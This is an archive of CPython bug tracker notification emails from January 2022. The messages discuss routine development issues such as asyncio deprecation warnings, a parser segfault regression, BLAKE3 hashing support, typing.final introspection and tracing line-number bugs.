11 Jan 2022 03:54:02 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1641873242.87.0.403346234905.issue1635741@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 nosy_count: 25.0 -> 26.0 pull_requests: +28726 pull_request: https://github.com/python/cpython/pull/30525 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 23:45:56 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 11 Jan 2022 04:45:56 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641876356.16.0.331855680768.issue46244@roundup.psfhosted.org> Kumar Aditya added the comment: Can this be closed now ? ---------- versions: -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 23:49:06 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 11 Jan 2022 04:49:06 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval In-Reply-To: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> Message-ID: <1641876546.77.0.0222468374479.issue46339@roundup.psfhosted.org> Kumar Aditya added the comment: I tested it on 3.10.1 and it didn't segfault on Windows 11 so seems like 3.11 regression. ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 23:50:58 2022 From: report at bugs.python.org (Ned Deily) Date: Tue, 11 Jan 2022 04:50:58 +0000 Subject: [issue46334] Glossary URLs with anchor link no longer jump to definitions In-Reply-To: <1641835252.55.0.383081716651.issue46334@roundup.psfhosted.org> Message-ID: <1641876658.98.0.489719147003.issue46334@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +mdk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 23:52:04 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 11 Jan 2022 04:52:04 +0000 Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter In-Reply-To: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> Message-ID: <1641876724.33.0.079845732468.issue46333@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 00:06:33 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 11 Jan 2022 05:06:33 +0000 Subject: [issue46340] DeprecationWarning emitted when running asyncio tests Message-ID: <1641877593.22.0.527183062613.issue46340@roundup.psfhosted.org> Change by Kumar Aditya : ---------- components: asyncio nosy: asvetlov, kumaraditya303, yselivanov priority: normal pull_requests: 28727 severity: normal status: open title: DeprecationWarning emitted when running asyncio tests versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 00:38:28 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 11 Jan 2022 05:38:28 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641876356.16.0.331855680768.issue46244@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Yes.-- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 02:06:46 2022 From: report at bugs.python.org (Jack O'Connor) Date: Tue, 11 Jan 2022 07:06:46 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1641884806.75.0.386858319887.issue39298@roundup.psfhosted.org> Jack O'Connor added the comment: Update: There is now a C version of the `blake3` Python module available at https://github.com/oconnor663/blake3-py/tree/master/c_impl. It's completely API-compatible with the Rust version, and it passes the same test suite. Multithreading (which is implemented in upstream Rust but not in upstream C) is exposed through a "max_threads" argument, as Larry Hastings suggested. The C implementation allows this argument but ignores it. Unlike my previous attempt, this setup.py build handles the full range of target platforms and optimized flavors: x86-64 assembly on Windows-MSVC and Unix, 32-bit x86 intrinsics on Windows-MSVC and Unix, NEON intrinsics on AArch64, and portable C for everyone else. I'm new to distutils/setuptools and not particular familiar with the MSVC toolchain either, so there's a good chance that others can suggest better/cleaner/more robust approaches than what I've got, but it's at least working on my machines and on GitHub CI. (I haven't tried to get any cross-compilation working though; is that a thing?) I haven't published this module to PyPI, partly to avoid confusion with the Rust-based implementation, which I think most applications should prefer. But if it would make a big difference to anyone who wants to review this code, we could certainly put it up as `experimental_blake3_c` or something? Let me know what's best. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 03:24:39 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 11 Jan 2022 08:24:39 +0000 Subject: [issue46162] Make `builtins.property` generic In-Reply-To: <1640253025.77.0.520385746674.issue46162@roundup.psfhosted.org> Message-ID: <1641889479.23.0.546342410244.issue46162@roundup.psfhosted.org> Nikita Sobolev added the comment: Looks like no one showed much interest in it :( So, yeah, closing it is probably the best idea. Thanks everyone! ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 03:45:34 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 Jan 2022 08:45:34 +0000 Subject: [issue46340] DeprecationWarning emitted when running asyncio tests Message-ID: <1641890734.7.0.240445368406.issue46340@roundup.psfhosted.org> New submission from Erlend E. Aasland : Providing some more background, based on the changes proposed by Kumar in GH-30486: asyncio.get_event_loop() was marked as deprecated in Python 3.10. Quoting from the asyncio documentation , https://docs.python.org/3/library/asyncio-eventloop.html (as of 3.10): Because this function has rather complex behavior (especially when custom event loop policies are in use), using the get_running_loop() function is preferred to get_event_loop() in coroutines and callbacks. [...] Deprecated since version 3.10: Deprecation warning is emitted if there is no running event loop. In future Python releases, this function will be an alias of get_running_loop(). GH-30486 proposes to replace asyncio.get_event_loop() with asyncio.new_event_loop(). ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 03:48:38 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 Jan 2022 08:48:38 +0000 Subject: [issue46340] DeprecationWarning emitted when running asyncio tests In-Reply-To: <1641890734.7.0.240445368406.issue46340@roundup.psfhosted.org> Message-ID: <1641890918.94.0.896496877564.issue46340@roundup.psfhosted.org> Erlend E. Aasland added the comment: Kumar, did you consider using get_running_loop() to retrieve the event loop in the current thread, instead of creating a new one? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 04:03:22 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 Jan 2022 09:03:22 +0000 Subject: [issue46340] DeprecationWarning emitted when running asyncio tests In-Reply-To: <1641890734.7.0.240445368406.issue46340@roundup.psfhosted.org> Message-ID: <1641891802.21.0.394236284413.issue46340@roundup.psfhosted.org> Erlend E. Aasland added the comment: FTR, a rough grep for other users of get_event_loop in Lib/test (some false positives): ``` $ grep -rE "\" Lib/test Lib/test/test_contextlib_async.py: loop = asyncio.get_event_loop_policy().get_event_loop() Lib/test/test_asyncio/test_base_events.py: 'loop = asyncio.get_event_loop()', Lib/test/test_asyncio/test_windows_events.py: loop = asyncio.get_event_loop() Lib/test/test_asyncio/test_runners.py: def get_event_loop(self): Lib/test/test_asyncio/test_runners.py: loop = asyncio.get_event_loop() Lib/test/test_asyncio/test_unix_events.py: self.assertIsInstance(policy.get_event_loop(), Lib/test/test_asyncio/test_unix_events.py: policy.get_event_loop().close() Lib/test/test_asyncio/test_unix_events.py: loop = policy.get_event_loop() Lib/test/test_asyncio/test_events.py: self.assertRaises(NotImplementedError, policy.get_event_loop) Lib/test/test_asyncio/test_events.py: loop = policy.get_event_loop() Lib/test/test_asyncio/test_events.py: self.assertIs(loop, policy.get_event_loop()) Lib/test/test_asyncio/test_events.py: loop = policy.get_event_loop() Lib/test/test_asyncio/test_events.py: self.assertRaises(RuntimeError, policy.get_event_loop) Lib/test/test_asyncio/test_events.py: self.assertRaises(RuntimeError, policy.get_event_loop) Lib/test/test_asyncio/test_events.py: old_loop = policy.get_event_loop() Lib/test/test_asyncio/test_events.py: self.assertIs(loop, policy.get_event_loop()) Lib/test/test_asyncio/test_events.py: self.assertIsNot(old_loop, policy.get_event_loop()) Lib/test/test_asyncio/test_events.py: self.get_event_loop_saved = events.get_event_loop Lib/test/test_asyncio/test_events.py: events.get_event_loop = type(self).get_event_loop_impl Lib/test/test_asyncio/test_events.py: asyncio.get_event_loop = type(self).get_event_loop_impl Lib/test/test_asyncio/test_events.py: events.get_event_loop = self.get_event_loop_saved Lib/test/test_asyncio/test_events.py: asyncio.get_event_loop = self.get_event_loop_saved Lib/test/test_asyncio/test_events.py: def get_event_loop(self): Lib/test/test_asyncio/test_events.py: asyncio.get_event_loop() Lib/test/test_asyncio/test_events.py: asyncio.get_event_loop() Lib/test/test_asyncio/test_events.py: self.assertIs(asyncio.get_event_loop(), loop) Lib/test/test_asyncio/test_events.py: asyncio.get_event_loop() Lib/test/test_asyncio/test_events.py: asyncio.get_event_loop() Lib/test/test_asyncio/test_events.py: loop2 = asyncio.get_event_loop() Lib/test/test_asyncio/test_events.py: asyncio.get_event_loop() Lib/test/test_asyncio/test_events.py: self.assertIs(asyncio.get_event_loop(), loop) Lib/test/test_asyncio/test_events.py: self.assertIs(asyncio.get_event_loop(), loop) Lib/test/test_asyncio/test_events.py: asyncio.get_event_loop() ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 04:09:38 2022 From: report at bugs.python.org (Ali Mohammad Pur) Date: Tue, 11 Jan 2022 09:09:38 +0000 Subject: [issue46326] 'virtualenv --clear' should prompt user before nuking entire directory In-Reply-To: <1641805306.76.0.639944392664.issue46326@roundup.psfhosted.org> Message-ID: <1641892178.25.0.413418326369.issue46326@roundup.psfhosted.org> Ali Mohammad Pur added the comment: > If similar behavior is also an issue with the Python standard library venv module (which is a derivative of virtualenv), please update this issue accordingly Yes, my bad, I should have mentioned that this applies to venv, I will update the issue title. Not sure if I can modify my earlier comment however (I don't see any way to). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 04:09:46 2022 From: report at bugs.python.org (Ali Mohammad Pur) Date: Tue, 11 Jan 2022 09:09:46 +0000 Subject: [issue46326] 'venv --clear' should prompt user before nuking entire directory In-Reply-To: <1641805306.76.0.639944392664.issue46326@roundup.psfhosted.org> Message-ID: <1641892186.98.0.832388729575.issue46326@roundup.psfhosted.org> Change by Ali Mohammad Pur : ---------- title: 'virtualenv --clear' should prompt user before nuking entire directory -> 'venv --clear' should prompt user before nuking entire directory _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 04:44:30 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 11 Jan 2022 09:44:30 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641894270.06.0.871703858988.issue46244@roundup.psfhosted.org> Change by Alex Waygood : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed type: performance -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 04:46:19 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 11 Jan 2022 09:46:19 +0000 Subject: [issue41987] singledispatchmethod raises an error when relying on a forward declaration In-Reply-To: <1602274303.54.0.362260014367.issue41987@roundup.psfhosted.org> Message-ID: <1641894379.23.0.104737032422.issue41987@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood, lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 04:49:35 2022 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Tue, 11 Jan 2022 09:49:35 +0000 Subject: [issue46338] libc_ver() runtime error when sys.executable is empty In-Reply-To: <1641852111.45.0.964710439738.issue46338@roundup.psfhosted.org> Message-ID: <2c5e4a08-b684-31fc-cb50-f85fda53ed78@egenix.com> Marc-Andre Lemburg added the comment: On 10.01.2022 23:01, Allie Hammond wrote: > > libc_ver() in platform.py (called from platform()) causes a runtime error if sys.executable returns null. In my case, FreeRADIUS offers a module rlm_python3 which allows you to run python code from the C based FreeRADIUS server - since this module doesn't use a python binary to execute sys.executable returns null trigering this error. Interesting. I guess rlm_python3 embeds Python. Is sys.executable an empty string or None ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 05:07:48 2022 From: report at bugs.python.org (Julien Palard) Date: Tue, 11 Jan 2022 10:07:48 +0000 Subject: [issue45729] [doc] "history and license" link has wrong target In-Reply-To: <1636128373.81.0.436284013167.issue45729@roundup.psfhosted.org> Message-ID: <1641895668.15.0.135841133534.issue45729@roundup.psfhosted.org> Julien Palard added the comment: This should be fixed in python-docs-theme==2022.1. I'll close the issue when I actually see the fix applied on docs.python.org. ---------- nosy: +mdk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 05:21:46 2022 From: report at bugs.python.org (Julien Palard) Date: Tue, 11 Jan 2022 10:21:46 +0000 Subject: [issue45729] [doc] "history and license" link has wrong target In-Reply-To: <1636128373.81.0.436284013167.issue45729@roundup.psfhosted.org> Message-ID: <1641896506.42.0.74323264055.issue45729@roundup.psfhosted.org> Change by Julien Palard : ---------- keywords: +patch pull_requests: +28728 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30527 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 05:32:10 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 11 Jan 2022 10:32:10 +0000 Subject: [issue46335] asyncio.create_subprocess_exec throws RuntimeError yet still executes subprogram In-Reply-To: <1641840953.56.0.83398324511.issue46335@roundup.psfhosted.org> Message-ID: <1641897130.42.0.888956878657.issue46335@roundup.psfhosted.org> Andrew Svetlov added the comment: What do you mean by *process-limited environment*? It is very unusual configuration IMHO. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 05:47:11 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 11 Jan 2022 10:47:11 +0000 Subject: [issue46340] DeprecationWarning emitted when running asyncio tests In-Reply-To: <1641890734.7.0.240445368406.issue46340@roundup.psfhosted.org> Message-ID: <1641898031.88.0.563115491146.issue46340@roundup.psfhosted.org> Andrew Svetlov added the comment: get_event_loop() is deprecated when there is no running event loop. Otherwise, it is equal to get_running_loop() and IS NOT deprecated. I think there is no reason to replace all occurrences where get_event_loop() works fine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 05:51:58 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 11 Jan 2022 10:51:58 +0000 Subject: [issue46310] Simplify `for` loop in `.close()` method in `asyncio/windows_events` In-Reply-To: <1641719482.54.0.073879595451.issue46310@roundup.psfhosted.org> Message-ID: <1641898318.6.0.53814460006.issue46310@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 05:52:05 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 11 Jan 2022 10:52:05 +0000 Subject: [issue46310] Simplify `for` loop in `.close()` method in `asyncio/windows_events` In-Reply-To: <1641719482.54.0.073879595451.issue46310@roundup.psfhosted.org> Message-ID: <1641898325.1.0.30278586554.issue46310@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset fc75bfb8be8494e22123f2c14d1ab497c77cc22d by Nikita Sobolev in branch 'main': bpo-46310: simplify `for` loop in `asyncio/windows_events` (GH-30334) https://github.com/python/cpython/commit/fc75bfb8be8494e22123f2c14d1ab497c77cc22d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 05:56:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 10:56:28 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641898588.96.0.0714386878381.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: New changeset ea1a54506b4ac38b712ba63ec884292025f16111 by Victor Stinner in branch 'main': bpo-46303: Move fileutils.h private functions to internal C API (GH-30484) https://github.com/python/cpython/commit/ea1a54506b4ac38b712ba63ec884292025f16111 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:00:09 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 Jan 2022 11:00:09 +0000 Subject: [issue46340] DeprecationWarning emitted when running asyncio tests In-Reply-To: <1641890734.7.0.240445368406.issue46340@roundup.psfhosted.org> Message-ID: <1641898809.49.0.92902722445.issue46340@roundup.psfhosted.org> Erlend E. Aasland added the comment: > I think there is no reason to replace all occurrences where get_event_loop() works fine. +1 I provided the grep for information only, hence FTR (for the record). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:06:45 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 Jan 2022 11:06:45 +0000 Subject: [issue46340] DeprecationWarning emitted when running asyncio tests In-Reply-To: <1641890734.7.0.240445368406.issue46340@roundup.psfhosted.org> Message-ID: <1641899205.95.0.488493261598.issue46340@roundup.psfhosted.org> Erlend E. Aasland added the comment: > get_event_loop() is deprecated when there is no running event loop. Yes, I see that now. So using asyncio.new_event_loop instead makes sense. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:13:00 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 Jan 2022 11:13:00 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval In-Reply-To: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> Message-ID: <1641899580.81.0.085334536167.issue46339@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Seems that the regression is caused by this commit: 6fa8b2ceee38187b0ae96aee12fe4f0a5c8a2ce7 is the first bad commit commit 6fa8b2ceee38187b0ae96aee12fe4f0a5c8a2ce7 Author: Pablo Galindo Salgado Date: Sat Jan 8 00:23:40 2022 +0000 bpo-46237: Fix the line number of tokenizer errors inside f-strings (GH-30463) Lib/test/test_exceptions.py | 12 ++++++++++++ .../2022-01-07-19-33-05.bpo-46237.9A6Hpq.rst | 2 ++ Parser/pegen.c | 8 ++++---- Parser/string_parser.c | 5 ++++- 4 files changed, 22 insertions(+), 5 deletions(-) create mode 100644 Misc/NEWS.d/next/Core and Builtins/2022-01-07-19-33-05.bpo-46237.9A6Hpq.rst ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:13:17 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 11:13:17 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641899597.28.0.887567819642.issue46303@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28729 pull_request: https://github.com/python/cpython/pull/30528 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:14:40 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 11:14:40 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641899680.83.0.261603076038.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: > While attempting to embed the full cpython source in my application, I found that during compilation on Windows, there was a compilation issue due to struct stat not being defined. Do you get the error when building Python? Or on #include when using the Python C API? How do you build Python? What is your C compiler? Can you test if my proposed PR 30528 fix your issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:15:10 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 11 Jan 2022 11:15:10 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1641899710.72.0.747320353195.issue39298@roundup.psfhosted.org> Christian Heimes added the comment: You could upload the code to https://test.pypi.org/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:15:36 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 Jan 2022 11:15:36 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval In-Reply-To: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> Message-ID: <1641899736.84.0.95989566414.issue46339@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: The reason is that the line numbers are now correctly identified, and that causes existing code to not work correctly :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:23:29 2022 From: report at bugs.python.org (Tommy Vercetti) Date: Tue, 11 Jan 2022 11:23:29 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1641900209.6.0.584204377288.issue33125@roundup.psfhosted.org> Tommy Vercetti added the comment: Hi everyone, I'm Tommy from OBS Projects, and I'm currently working on bring OBS Studio to Windows ARM64. I still prefer the regular executable installer on ARM64, because it's probably the least intrusive way of making Python scripting work with OBS Studio. Please provide the regular executable installer for ARM64. I'm also interested in ARM64EC. I haven't tried it yet, but what's your confidence that it will compile on ARM64EC toolchain? ---------- nosy: +TommyVCT _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:29:05 2022 From: report at bugs.python.org (Mark Shannon) Date: Tue, 11 Jan 2022 11:29:05 +0000 Subject: [issue46331] 3.11: tracing revisits class line after class docstring In-Reply-To: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> Message-ID: <1641900545.49.0.771919476016.issue46331@roundup.psfhosted.org> Mark Shannon added the comment: New changeset bd04fac7eb929cd11ab6985deb61d9780447fbff by Mark Shannon in branch 'main': bpo-46331: Do not set line number of instruction storing doc-string. (GH-30518) https://github.com/python/cpython/commit/bd04fac7eb929cd11ab6985deb61d9780447fbff ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:50:52 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 Jan 2022 11:50:52 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval In-Reply-To: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> Message-ID: <1641901852.93.0.122507107419.issue46339@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +28730 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30529 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 06:58:13 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 Jan 2022 11:58:13 +0000 Subject: [issue46331] 3.11: tracing revisits class line after class docstring In-Reply-To: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> Message-ID: <1641902293.76.0.426256321321.issue46331@roundup.psfhosted.org> Erlend E. Aasland added the comment: I recon this can be closed now? ---------- nosy: +erlendaasland status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 07:03:32 2022 From: report at bugs.python.org (David) Date: Tue, 11 Jan 2022 12:03:32 +0000 Subject: [issue46341] duplicate paragraphs - asyncio Coroutines and Tasks file Message-ID: <1641902612.32.0.752677613191.issue46341@roundup.psfhosted.org> Change by David : ---------- assignee: docs at python components: Documentation nosy: davem, docs at python priority: normal pull_requests: 28731 severity: normal status: open title: duplicate paragraphs - asyncio Coroutines and Tasks file versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 07:10:26 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 11 Jan 2022 12:10:26 +0000 Subject: [issue46342] Make @final introspectable at runtime Message-ID: <1641903025.56.0.417443155132.issue46342@roundup.psfhosted.org> New submission from Jelle Zijlstra : Currently, @typing.final is implemented as an identity function, which makes it impossible for type checkers that look at runtime objects to support it. I propose that we implement it as something like: def final(f): try: f.__final__ = True except AttributeError: pass # in case it is used on an object that doesn't support setting attributes return f I will submit a PR implementing this idea. ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 410298 nosy: Jelle Zijlstra, gvanrossum, kj priority: normal severity: normal stage: needs patch status: open title: Make @final introspectable at runtime type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 07:34:10 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 11 Jan 2022 12:34:10 +0000 Subject: [issue46342] Make @final introspectable at runtime In-Reply-To: <1641903025.56.0.417443155132.issue46342@roundup.psfhosted.org> Message-ID: <1641904450.42.0.676891922692.issue46342@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +28732 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30530 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 07:42:24 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 11 Jan 2022 12:42:24 +0000 Subject: [issue46342] Make @final introspectable at runtime In-Reply-To: <1641903025.56.0.417443155132.issue46342@roundup.psfhosted.org> Message-ID: <1641904944.6.0.395192532052.issue46342@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 07:43:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 Jan 2022 12:43:40 +0000 Subject: [issue46343] Add PyErr_GetActiveException and PyErr_SetActiveException Message-ID: <1641905020.84.0.19361344207.issue46343@roundup.psfhosted.org> New submission from Irit Katriel : Following the removal of exc_type and exc_traceback from the interpreter's active exception in issue45711, we can now provide simplified get-set functions in the C Api: PyAPI_FUNC(void) PyErr_GetActiveException(PyObject **); PyAPI_FUNC(void) PyErr_SetActiveException(PyObject *); as alternatives to PyAPI_FUNC(void) PyErr_GetExcInfo(PyObject **, PyObject **, PyObject **); PyAPI_FUNC(void) PyErr_SetExcInfo(PyObject *, PyObject *, PyObject *); See also issue46328 re the corresponding change in the sys module. ---------- assignee: iritkatriel components: C API, Interpreter Core messages: 410299 nosy: iritkatriel priority: normal severity: normal status: open title: Add PyErr_GetActiveException and PyErr_SetActiveException type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 08:09:08 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 Jan 2022 13:09:08 +0000 Subject: [issue46343] Add PyErr_GetActiveException and PyErr_SetActiveException In-Reply-To: <1641905020.84.0.19361344207.issue46343@roundup.psfhosted.org> Message-ID: <1641906548.74.0.878218145296.issue46343@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +28733 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30531 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 08:10:52 2022 From: report at bugs.python.org (Ned Batchelder) Date: Tue, 11 Jan 2022 13:10:52 +0000 Subject: [issue46344] 3.11: except/else/if/raise traced incorrectly Message-ID: <1641906652.4.0.592268865444.issue46344@roundup.psfhosted.org> New submission from Ned Batchelder : This code shows a raise inside an except/else/if that isn't run, but incorrectly appears in the trace output (see the ***** line): $ cat arcs_1160.py def func(x): try: b = 6 except ZeroDivisionError: pass else: if x == "raise": raise ValueError() finally: f = 23 func("other") $ python3.10 -c "import sys; print(sys.version)" 3.10.1 (main, Dec 14 2021, 08:30:13) [Clang 12.0.0 (clang-1200.0.32.29)] $ python3.10 -m trace --trace arcs_1160.py --- modulename: arcs_1160, funcname: arcs_1160.py(1): def func(x): arcs_1160.py(12): func("other") --- modulename: arcs_1160, funcname: func arcs_1160.py(2): try: arcs_1160.py(3): b = 6 arcs_1160.py(7): if x == "raise": arcs_1160.py(10): f = 23 $ python3.11 -c "import sys; print(sys.version)" 3.11.0a3+ (heads/main:d24cd49acb, Jan 11 2022, 07:29:41) [Clang 12.0.0 (clang-1200.0.32.29)] $ python3.11 -m trace --trace arcs_1160.py --- modulename: arcs_1160, funcname: arcs_1160.py(1): def func(x): arcs_1160.py(12): func("other") --- modulename: arcs_1160, funcname: func arcs_1160.py(2): try: arcs_1160.py(3): b = 6 arcs_1160.py(7): if x == "raise": arcs_1160.py(8): raise ValueError() <<********** arcs_1160.py(10): f = 23 ---------- components: Interpreter Core keywords: 3.11regression messages: 410300 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: 3.11: except/else/if/raise traced incorrectly versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 09:00:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 Jan 2022 14:00:50 +0000 Subject: [issue28159] Deprecate isdst argument in email.utils.localtime In-Reply-To: <1473890113.79.0.964863330823.issue28159@psf.upfronthosting.co.za> Message-ID: <1641909650.39.0.0701681196239.issue28159@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy versions: +Python 3.11 -Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 09:06:39 2022 From: report at bugs.python.org (Mark Shannon) Date: Tue, 11 Jan 2022 14:06:39 +0000 Subject: [issue46331] 3.11: tracing revisits class line after class docstring In-Reply-To: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> Message-ID: <1641909999.54.0.453959246313.issue46331@roundup.psfhosted.org> Mark Shannon added the comment: Ned, does this fix work for you? ---------- status: pending -> open 